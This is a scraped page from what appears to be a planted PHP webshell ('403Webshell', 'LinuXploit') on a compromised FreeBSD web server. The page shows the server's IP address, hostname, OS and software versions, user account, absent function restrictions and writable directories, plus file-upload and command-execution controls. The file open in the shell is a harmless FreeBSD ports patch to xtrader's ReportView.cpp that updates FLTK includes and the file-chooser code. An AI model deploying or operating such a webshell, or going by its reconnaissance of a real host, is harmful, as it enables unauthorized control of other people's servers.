403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/finance/xtrader/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/finance/xtrader/files/patch-xtrader_src_gui_ReportView.cpp
--- ./xtrader/src/gui/ReportView.cpp.orig	2004-11-14 11:21:30.000000000 +0100
+++ ./xtrader/src/gui/ReportView.cpp	2011-11-15 13:46:19.000000000 +0100
@@ -21,13 +21,13 @@
 #include "Resource.h"
 #include <MHDate.h>
 #include <MHVector.h>
-#include <FL/Fl.h>
-#include <FL/fl_ask.h>
-#include <FL/fl_draw.h>
-#include <FL/Fl_Button.h>
-#include <FL/Fl_File_Chooser.h>
+#include <FL/Fl.H>
+#include <FL/fl_ask.H>
+#include <FL/fl_draw.H>
+#include <FL/Fl_Button.H>
+#include <FL/Fl_File_Chooser.H>
 #include <fl/Fl_Layout.h>
-#include <FL/Fl_Hold_Browser.h>
+#include <FL/Fl_Hold_Browser.H>
 #include <fl/Fl_Table.h>
 #include <fl/Fl_Table_Data.h>
 
@@ -139,7 +139,15 @@
 void ReportView::cbBrowser2 () {
 }
 
-
+/**
+ * Callback for file chooser
+ */
+void rep_fc_callback(Fl_File_Chooser *fc, void *data)
+{
+	Report *r = static_cast<Report *>(data);
+	const char *file = fc->value();
+	if (file && *file) r->Save (file);
+}
 
 /**
 *  Callback for buttons
@@ -173,8 +181,9 @@
             Report* r = ((ReportData*)aTable->data())->report();
 
             if (r) {
-                char* file = fl_file_chooser (STRING(DLG_SELECT_WRITE_FILE), "*.*", "");
-                if (file && *file) r->Save (file);
+                Fl_File_Chooser *fc = new Fl_File_Chooser (STRING(DLG_SELECT_WRITE_FILE), "*.*", Fl_File_Chooser::SINGLE, "");
+                fc->callback(rep_fc_callback, r);
+                delete fc;
             }
         }
         else if (strcmp (button->label(), STRING(SELECT2)) == 0) {

Youez - 2016 - github.com/yon3zu
LinuXploit